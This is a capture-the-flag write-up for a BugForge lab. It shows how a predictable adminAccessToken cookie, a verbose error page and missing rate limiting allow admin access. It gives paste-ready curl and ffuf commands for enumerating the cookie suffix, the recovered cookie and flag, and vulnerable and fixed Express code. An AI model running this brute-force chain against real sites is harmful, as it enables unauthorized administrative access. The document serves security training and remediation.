Gift Lab: Admin Bypass via Predictable adminAccessToken Cookie
Overview
- Platform: BugForge
- Vulnerability: Admin authorization bypass via predictable
adminAccessTokencookie - Key Technique: Compared the cookie across users and logins to reveal a fixed 12-char prefix + 3-char
[a-z]suffix; brute-forced the 3-char suffix against/administrator(no rate limiting) to recover the admin’s full cookie. - Result: Recovered
adminAccessToken=n0MqjBXna9A4rls, accessed/administrator, captured the flag — no admin password or/admin-logincode required.
Objective
Capture the lab flag hidden inside the Gift Lab administrator area.
Initial Access
# Target Application
URL: https://lab-1776468530011-w4zlnm.labs-app.bugforge.io
# Auth details
POST /register → username / password / confirmPassword (self-service, no seeded creds)
POST /login → sets `token` (JWT HS256, 2h) AND `adminAccessToken` cookies
Registered users: haxor (id=1), haxor2 (id=2)
Key Findings
- Predictable
adminAccessTokencookie (CWE-330, CWE-285) — Every/loginsets an extra cookieadminAccessTokenof shapen0MqjBXna9A4<xxx>. The 12-char prefix is identical for every user and every login. Only the 3-char lowercase suffix varies. The admin’s value is a single fixed string. - Oracle in the “Access Denied” page (CWE-209) —
/administratorwith a wrong cookie returns a 200 page naming the exact cookie being checked: “You don’t have the correct adminAccessToken for this area.” Removes a discovery step entirely. - No rate limiting on
/administrator— 17,000+ requests at 100 rps across 40 threads passed with no 429, throttling, or lockout. The entire[a-z]³suffix space is trivially enumerable.
Attack Chain Visualization
┌─────────────┐ ┌────────────────────┐ ┌─────────────────────┐ ┌──────────────────┐
│ Register │──▶│ Login → observe │──▶│ Discover │──▶│ Brute-force │
│ haxor / │ │ adminAccessToken │ │ /administrator │ │ 3-char [a-z]³ │
│ haxor2 │ │ = prefix(12) + │ │ via ffuf raft- │ │ suffix against │
│ │ │ suffix(3,[a-z]) │ │ medium dirs │ │ /administrator │
└─────────────┘ └────────────────────┘ └─────────────────────┘ └──────────────────┘
│
▼
┌────────────────────────────┐
│ Single hit: suffix=rls │
│ → admin cookie recovered │
│ → /administrator renders │
│ → flag captured │
└────────────────────────────┘
Application Architecture
| Component | Path | Description |
|---|---|---|
| Backend | — | Express (Node.js), EJS templating |
| Session | token cookie |
JWT HS256, payload {id, username, iat, exp}, 2h TTL |
| User dashboard | GET /dashboard | List index (JWT protected) |
| Admin step-up | POST /admin-login | code field — separate secret, not the cookie value |
| Admin area | GET /administrator | Gated by adminAccessToken cookie match |
Exploitation Path
Note on commands. Testing was performed in Caido (request capture, replay, automate). The
curl/ffufcommands below are a faithful written form of the same requests, intended to be paste-and-run reproducible without a proxy. Onlyffuf(Step 4) was run from the shell directly.
Step 1: Compare adminAccessToken across users and logins
Register two users, log each in, log one of them in twice, and diff the cookies. Two minutes of work that made the entire finding.
curl -sk -c haxor.txt -d "username=haxor&password=password&confirmPassword=password" https://lab-.../register
curl -sk -c haxor.txt -d "username=haxor&password=password" https://lab-.../login
curl -sk -c haxor2A.txt -d "username=haxor2&password=password&confirmPassword=password" https://lab-.../register
curl -sk -c haxor2A.txt -d "username=haxor2&password=password" https://lab-.../login
curl -sk -c haxor2B.txt -d "username=haxor2&password=password" https://lab-.../login
grep adminAccessToken haxor.txt haxor2A.txt haxor2B.txt
| Session | adminAccessToken |
|---|---|
| haxor (id=1) | n0MqjBXna9A4efr |
| haxor2 (id=2), login A | n0MqjBXna9A4wmi |
| haxor2 (id=2), login B | n0MqjBXna9A4pps |
12-character prefix identical; 3-char [a-z] suffix changes per login (not per user), so it’s random at issue time, not identity-bound.
Step 2: Confirm the target and the oracle
GET /administrator HTTP/1.1
Cookie: token=<haxor jwt>; adminAccessToken=n0MqjBXna9A4efr
Response: 200 OK, 7889 bytes, body contains “You don’t have the correct adminAccessToken for this area.” The error message names the exact cookie being checked and gives a clean negative baseline (7889 bytes) for filtering the brute force.
Step 3: Rule out the easy path at /admin-login
Before committing to brute force, verify /admin-login’s code field isn’t just the cookie value:
POST /admin-login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
code=n0MqjBXna9A4efr
Response: 302 /admin-login?error=wrong — identical to code=1234. The code is a separate secret. Cookie-as-code ruled out.
Step 4: Brute-force the 3-character suffix
Search space: [a-z]³ = 17,576 candidates. Filter out the “Access Denied” baseline by response size.
python3 -c "
import string, itertools
for c in itertools.product(string.ascii_lowercase, repeat=3):
print(''.join(c))
" > suffix_az.txt
ffuf -u "https://lab-.../administrator" \
-w suffix_az.txt:FUZZ \
-H "Cookie: token=<haxor jwt>; adminAccessToken=n0MqjBXna9A4FUZZ" \
-fs 7889 \
-fr "Access Denied" \
-rate 100 -t 40
Single hit:
rls [Status: 200, Size: 7791, Words: 412, Lines: 180]
Full admin cookie: n0MqjBXna9A4rls. Zero throttling across the entire run.
Step 5: Flag capture
GET /administrator HTTP/1.1
Cookie: token=<haxor jwt>; adminAccessToken=n0MqjBXna9A4rls
Response: 200 OK, Administrator Panel rendered, flag displayed.
Flag / Objective Achieved
bug{AjBEMnwD5WmgD1QowIbQ0dqPcKBB2PyG}
Key Learnings
- Diff auth cookies across users and across logins before anything else. Two minutes of comparison exposed a structural defect (shared prefix + tiny random suffix) that made the rest of the attack trivial. Belongs permanently in the early recon checklist for any app that sets more than one cookie on login.
- Error messages that name the mechanism being checked are vulnerabilities, not UX. The “Access Denied” page named
adminAccessTokenexplicitly. Without that, going from “weird cookie” to “this is what gates the admin page” would have required guesswork or source access. - Try the easy hypothesis first, but stop quickly when it fails. Testing cookie-as-code at
/admin-loginbefore committing to a 17K-request brute force cost one request and cleanly ruled out the simpler path. - Rate limiting is load-bearing, not a nice-to-have. It would have turned a 3-minute brute force into a multi-day operation with obvious signal. Its total absence here is a finding in its own right.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
code=1234 at /admin-login |
302 error=wrong |
Used as a control — baseline for the “wrong code” response |
code=n0MqjBXna9A4efr (cookie-as-code) at /admin-login |
302 error=wrong |
code is a separate secret, not derivable from the cookie |
Prefix-alone (code=n0MqjBXna9A4) at /admin-login |
Not attempted | If the prefix alone were the code, the suffix would serve no purpose |
ffuf against /admin* only |
Missed /administrator |
Admin area lives at /administrator; required a broader directory list |
Tools Used
| Tool | Purpose |
|---|---|
| Caido | HTTP proxy — login capture, cookie comparison, replay |
| ffuf | Directory fuzzing (raft-medium-directories.txt); 3-char suffix brute force |
| curl | Cookie comparison across accounts and logins |
Remediation
1. Predictable adminAccessToken cookie (CVSS 9.8 — Critical)
Issue: Every /login issues a cookie whose 12-char public prefix is handed to every user, leaving only 3 chars (~14 bits) of entropy — brute-forceable in minutes against an unrate-limited endpoint.
CWE References: CWE-330 (Use of Insufficiently Random Values), CWE-285 (Improper Authorization)
Fix:
// BEFORE (Vulnerable) — login handler
app.post('/login', async (req, res) => {
const user = await authenticate(req.body.username, req.body.password);
if (!user) return res.redirect('/login?error=wrong');
const jwt = signJwt({ id: user.id, username: user.username });
res.cookie('token', jwt, { httpOnly: true });
// ↓↓↓ Hands out the admin token's public prefix to every login.
const suffix = randomSuffix(3, 'abcdefghijklmnopqrstuvwxyz'); // 17,576 values
res.cookie('adminAccessToken', 'n0MqjBXna9A4' + suffix);
return res.redirect('/dashboard');
});
// AFTER (Secure) — admin cookie only issued after admin-login, full entropy
app.post('/login', async (req, res) => {
const user = await authenticate(req.body.username, req.body.password);
if (!user) return res.redirect('/login?error=wrong');
const jwt = signJwt({ id: user.id, username: user.username });
res.cookie('token', jwt, { httpOnly: true, secure: true, sameSite: 'lax' });
return res.redirect('/dashboard');
});
app.post('/admin-login', async (req, res) => {
const session = await authenticateJwt(req.cookies.token);
if (!session || session.role !== 'admin') return res.redirect('/admin-login?error=wrong');
if (req.body.code !== process.env.ADMIN_STEP_UP_CODE) {
return res.redirect('/admin-login?error=wrong');
}
const adminToken = crypto.randomBytes(32).toString('base64url'); // 256 bits
await storeAdminToken(session.id, adminToken, { ttlMinutes: 15 });
res.cookie('adminAccessToken', adminToken, {
httpOnly: true, secure: true, sameSite: 'strict', path: '/administrator',
});
return res.redirect('/administrator');
});
2. Verify the admin cookie against server-side session state
Issue: /administrator compares the cookie to a single hardcoded admin string, so a successful guess grants persistent access forever.
Fix:
// BEFORE (Vulnerable)
app.get('/administrator', (req, res) => {
if (req.cookies.adminAccessToken !== 'n0MqjBXna9A4rls') {
return res.status(200).render('access-denied'); // oracle — names the cookie
}
return res.render('administrator', { flag: FLAG });
});
// AFTER (Secure) — lookup tied to JWT user id
app.get('/administrator', requireJwt, async (req, res) => {
const adminSession = await adminSessions.findValid({
token: req.cookies.adminAccessToken,
userId: req.user.id,
});
if (!adminSession || req.user.role !== 'admin') {
return res.status(404).render('404'); // generic, no oracle
}
return res.render('administrator', { flag: FLAG });
});
3. Remove the oracle from the “Access Denied” page (CVSS 4.3 — Medium)
Issue: The error body names the cookie being checked, telling an attacker exactly what to target.
CWE Reference: CWE-209 (Generation of Error Message Containing Sensitive Information)
Fix:
<!-- BEFORE (Vulnerable) -->
<p>You don't have the correct <strong>adminAccessToken</strong> for this area.</p>
<!-- AFTER (Secure) -->
<h1>404 — Not Found</h1>
4. Rate-limit /administrator
Add per-IP and per-JWT rate limiting with lockout. Even with the structural flaw in place, a limit of a few dozen failed attempts per hour would turn a 3-minute brute force into a multi-day campaign with obvious detection signal (express-rate-limit, reverse-proxy rule, or WAF).
OWASP Top 10 Coverage
- A01:2021 — Broken Access Control — Admin area gated by a cookie whose structure leaks the majority of the admin’s secret to every registered user. Effective access control = 3 chars of entropy.
- A02:2021 — Cryptographic Failures — ~14 bits of effective entropy on an auth token is well below any acceptable threshold.
- A04:2021 — Insecure Design — Handing the admin token’s public prefix to every user is a structural defect, not a line-of-code bug.
- A09:2021 — Security Logging and Monitoring Failures — 17K+ requests against a single admin URL produced no throttling or alerting.
References
- CWE-330: Use of Insufficiently Random Values
- CWE-285: Improper Authorization
- CWE-209: Generation of Error Message Containing Sensitive Information
- OWASP Authentication Cheat Sheet
- OWASP Session Management Cheat Sheet
- OWASP Top 10 A01:2021 — Broken Access Control
Tags: #broken-access-control #weak-randomness #cookie-prediction #admin-bypass #brute-force #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-04-18